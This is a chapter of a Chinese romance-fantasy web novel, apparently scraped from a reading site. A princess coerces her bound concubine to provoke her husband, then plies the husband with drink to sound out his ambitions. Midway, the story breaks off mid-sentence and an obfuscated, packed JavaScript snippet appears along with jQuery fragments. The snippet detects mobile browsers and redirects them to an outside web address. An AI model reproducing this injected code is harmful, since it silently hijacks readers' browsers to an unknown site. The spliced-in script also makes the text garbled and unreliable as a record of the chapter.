100. 100

作品:《坏了,和恶毒女配撞号了

    公主将穆长卿纳为面首的消息传来时,程风徒手捏碎了一只青花莲纹瓷杯。


    他怒不可遏地冲进公主府,提剑闯入了那贱人住的静云阁。


    然后便看见了此生最香艳,最具冲击力的一幕——


    穆长卿双手被反缚腰间,整个人被段清漓压在桌上亲吻,那些艳丽的胭脂犹如朵朵红梅,盛开在他冷白如雪的胸膛上。


    他无法抑制地颤抖着,清冷的眼眸被迫染上情.欲与屈辱,偏偏又无法出声喝止,因为段清漓用缎带封住了他的嘴唇。


    他欲挣扎反抗,奈何她身有灵力,轻易就能制服他。


    程风推门进来的声音极大,一下子就惊动了两人。


    见来人是驸马,穆长卿眼神剧变,脸色煞白无比,许是因为被他撞见自己这副模样,眸中屈辱更甚。


    他狼狈地闭上眼,深深撇过脸。


    程风死死盯住他,剑眉倒竖,眼底杀意森然,握剑的手在盛怒之下微微颤抖。


    唯有段清漓神色不变,见他来了,脸上连丝意外也没有,慢悠悠从穆长卿身上起来,拢了拢微敞的领口,淡漠问道:“你怎么来了?”


    “我就不能来?”程风几乎快把后槽牙咬碎。


    “你是驸马,当然能来。”


    段清漓理了理华服,也没去管此刻乱七八糟的穆长卿,而是慢慢走到程风面前。


    察觉缭绕在自己身侧的香气散去,穆长卿睁开眼,在桌上半滚了一圈,借着桌上堆积的墨宝,微微挡住身体。


    紧接着,视线不由自主地落在那道窈窕身影上。


    程风面色不虞,一言不发。


    段清漓抬手,涂着寇丹指尖缓慢划过他的胸膛,带着若有似无的撩拨。


    “只是,来的时候切记……”


    说话间,她缓缓贴近他,扬起那张娇美的秀靥,呵气如兰,眼神如钩。


    这是她第一次离他这样近。


    程风目光闪烁,忍不住滚了滚喉结。


    可她接下来的话,却令他的心凉了半截。


    段清漓轻声细语道:“勿要扰了我好事。”


    程风额上青筋鼓动,猛然抓住段清漓的手腕,将她扯向自己怀中,阴沉沉地道:“你信不信我把他杀了?”


    满头珠翠颤动,段清漓不慌不忙地扶了扶,然后撩起眼皮子,带着一丝轻蔑看向他。


    “可以啊,你若要杀他,就先杀了我。”


    不远处,穆长卿听见这句话,眼神顿时变得复杂,他不欲承受她带给他的侮辱,可也无法控制自己这颗因她而跳动的心。


    真真是五味杂陈,难以解脱。


    程风的胸膛剧烈起伏,看来是被气的不轻。


    “你到底瞧上了他何处?不过区区一胥吏,仗着自己有几分姿色就敢勾引你,他是要利用你的身份往上爬,你知道么?”


    明明半点证据也没有,他却说的言辞凿凿,仿佛真的是在为她着想,听得段清漓心中冷笑。


    稍稍缓和了一下情绪,程风蹙着眉,继续语重心长道:“以他的资质,这辈子都不可能平步青云,所以他接近你,是攀龙附凤,是贪图公主府的荣华富贵,阿蝉,你莫要被他这种人诓骗了!”


    说着,觑了眼穆长卿,厌恶之情溢于言表,如果不是段清漓拦着,只怕现在就要将他的人头割下来。


    “说完了吗?”段清漓问道。


    “阿蝉……”程风看着她冷酷的面容,微微一怔。


    总觉得……阿蝉好像有哪里变得不太一样了。从前她就算再不喜他,也总能维持一份体面,给予他尊重,可如今却不同。


    她的气势极强,三言两语便给人一种压迫感,而且,说话时咄咄逼人,不容置喙。


    “难道你不是吗?”段清漓朝他走近一步。


    只这一步,就将程风逼得后退一步。


    她再上前,他仍后退,直到段清漓扯住他的领子。她用上了灵力,致使力气大的足以强迫他顿住脚步,俯下身来与她平视。


    “你入赘我公主府的时候,有没有想过攀龙附凤,有没有贪图荣华富贵,嗯?”


    程风脸上青一阵白一阵,咬牙说道:“我没有!”


    许是积攒了许久的情绪爆发,他梗着脖子道:“当年我是迫于陛下和父亲的命令,才不得已同意了这桩婚事,否则哪个男儿甘心葬送前程,终日活在女子的罗裙之下。”


    段清漓冷哂:“如此说来,这么多年倒是委屈你了?”


    程风急赤白脸,忙朝她解释:“不,不是这样的。我与你成亲后,才发觉你是一个兰心蕙质,聪慧过人的女子,你不输于任何人。我渐渐被你吸引,因此……”


    他顿了顿,有几分苦涩,又有几分害臊地说道:“我爱上了你。”


    桌后的穆长卿将这番话听得真切,眼神不自觉慢慢变冷。


    “原来是这样。”段清漓挑起樱唇。


    倏尔,她藕臂一抬,虚虚勾住了程风的脖颈,朝他娇媚一笑,说道:“我还以为,驸马是不喜欢我的。”


    程风被她这突如其来的动作惊得瞳孔骤缩,愣在原地动也不敢动。


    从颈到脸侧,如同烧着了般,说话也开始变得结结巴巴:“那,那穆长卿……”


    “我要留着他。”段清漓忽然变脸,压下嘴角。


    程风皱起眉,眼见又要浮现怒色,却听她道:“因为他很有趣,欲拒还迎的模样很能取悦我,你若也能取悦我,做得比他更好,令我觉得你比他更有趣,那我也不是不可以把他丢出去,挑你来暖床。”


    程风听得脸红心跳,仿佛被蛊惑般,忍不住顺着她的话往下想。


    原来他还有机会,只要他能取代穆长卿……


    就在这时,段清漓忽然松了手,后退几步,抱臂而立,语气十分不屑道:“不过是个面首罢了,你若不如他,即便把他杀了又如何,往后我又不是不可以再找,父皇一声令下,我还不是要多少有多少。”


    程风脸色变幻,垂在身侧的拳握紧又松开,兀自沉思半晌,最终好似下定了什么决心,说道:“我知道了。你……等着我。”


    说罢,狠狠瞪了穆长卿一眼,阔步离去。


    段清漓一直目送他的身影消失,这才暗暗松了口气。


    一回脸,就见穆长卿神色莫辨,眼神不知落在何处,貌似在想些什么。


    视线落到他身上那些印子,不由脸颊微红,回想起白天秦若芙临走前同她说的那句话来。


    “慕容朔要是恢复了记忆,知晓你纳他为面首,啧,那后果我可不敢想,你多小心些吧。”


    是了,他这种人,宁为玉碎,不为瓦全。而且就像是一块冷冰冰的石头,怎么捂也捂不暖。满脑子只有天下苍生,匡扶正义。


    若知道自己这样折辱他,指不定得把她的皮扒下来。


    更别提在他眼里,她现在也算是魔道,新仇叠旧恨,肯定雪上加霜。


    思及此,段清漓头都大了。


    今日这出戏,特地为程风而设,如今演也演了,那就没必要再与某人共处一室,回味尴尬。她乏累地揉了揉太阳穴,走出静云阁。


    临走前,不忘用灵力解了穆长卿身上的束缚。


    而身后,穆长卿注视她离开的背影,脸色难看。


    她竟然就这样头也不回地走了?


    看来正如她对程风说的那样,他在她这里,不过是个暖床的面首,兴致来时便要强迫他,厌倦了就将他丢弃。


    而且她还诱惑程风那蠢材去取悦她,扬言要广招面首……真是个寡廉鲜耻的女人!


    他眼中闪过一丝厌恶,但更多的,是不知因何而起的恼怒。


    一拂袖,桌上名贵的字画花瓶通通落地。


    清脆的响声惊得外头下人匆忙赶来,却在看见他时又慌张背身,瓮声瓮气地询问:“可要小的给穆公子烧水沐浴?”


    瞧见对方的反应,穆长卿这才察觉自己的衣衫还敞着,段清漓留下的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397432|185796||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那些个痕迹着实惹眼,他不看不要紧,一看,方才那些荒诞淫靡的场面就又在脑海里浮现,臊得他无地自容。


    “公子可要水?”下人小心翼翼地又问一遍。


    “要。”穆长卿落字,带着恨意。他要把她留下的一切痕迹都洗去,省得他再想起。


    书房中。


    段清漓听着眼线汇报朝堂上的情况,提笔在纸张上写下几个怀疑的名字。


    末了,交代人去查:“查查他是否与程风有所往来。”


    “还有,”她又吩咐:“派几个信得过的,暗中为我招兵买马,接到人后,分批送入将军府训练,我要一支属于我的私军,越快越好。”


    大致处理完这一切,她瞧了眼外头的天色。命人布菜,顺便请驸马过来一起用膳。


    程风受宠若惊,很快就赶到了。


    段清漓备上几壶好酒,招呼他喝。


    两人许久没有如此温情的时候了,程风也没有在意段清漓滴酒不沾,一杯接一杯地喝起来,笑意写在脸上,十分高兴。


    酒色上脸时,还絮絮叨叨地说起了他与她从相识,到逐渐爱上她的心路历程。


    段清漓一字不落地听了,显得非常有耐心。


    偶尔不动声色地插一句:“驸马一颗真心待我,教我好生感动。”


    程风恍惚着愣了愣,望她的眼眸渐渐泛红,水波潋滟的。


    “阿蝉,你终于发现了吗……”


    他带着浓浓鼻音,又饮一杯酒,说道:“这世间男子,绝没有哪个像我这样待你好了,你为什么总是不肯回头看看我。”


    段清漓温和地看着他,“瞎说,我父皇对我也很好。”


    程风攥着酒杯,“除了你父皇。”


    顿了顿,话题莫名拐到某人身上,“总之,对你好的人里,绝对没有穆长卿那厮。他看你的眼神我都看得清清楚楚,他恨你,厌你,根本没有喜欢过你。”


    段清漓有意虚与委蛇,应和道:“是啊,你对我这么好,我是有些愧疚。身为公主,也没什么能拿得出手的,府中金银财宝,供你去花,百官头上的乌纱帽,你看中哪个,我便向父皇讨来送你。只要你开口……”


    又是一杯酒下肚,程风闷声不说话。


    段清漓眼皮子一跳,不动声色地问:“怎么了,你还有什么不满足的呢?”


    程风缓缓扭头,“若是我想要你呢?”


    “这不行,这你得自己争取。”


    程风点了下头,看样子是不大高兴的。


    “除了这个,还有没有别的想要了?”


    黑眸里闪过茫然,程风摆摆手,说:“没有了。”


    “是吗?”段清漓见他已经快要被烈酒麻痹,添了把火,说:“难道你就只想这辈子浑浑噩噩地当个驸马爷?”


    果不其然,此言一出,程风身形凝滞,似乎是话戳进心里了。


    “我也不想。”


    他动了动唇,声音渐弱:“我想……”


    话未说完,忽然一顿,脑门磕在桌上,两眼一闭,沉沉睡去。


    见状,段清漓不免感到可惜。看来试探和接近程风一事,仍需徐徐图之。


    “来人,将驸马带下去休息。”


    她深深地看了眼程风。起身,欲往静云阁去。演戏演到底,无论如何,今晚不可孤枕独眠。


    少顷,她携一身酒味踏入穆长卿的卧房。


    穆长卿先是一惊,下意识护身,慌忙问她想要做什么。哪料段清漓眼皮也不抬,命人在地上打了个地铺,随后将他撵到地铺,自己爬上床睡扭脸睡了。


    这可将穆长卿气得肺腑隐隐作痛。


    最后也不知是余气未消,还是心有顾虑,他一直撑到半夜没睡。


    就在意识被困意侵袭,有些模糊时,他听见床榻上传来了段清漓的梦话。


    似乎是梦见了什么不好的事情,她额上满是细密的汗珠,焦急地呼喊着一个名字——


    慕容朔。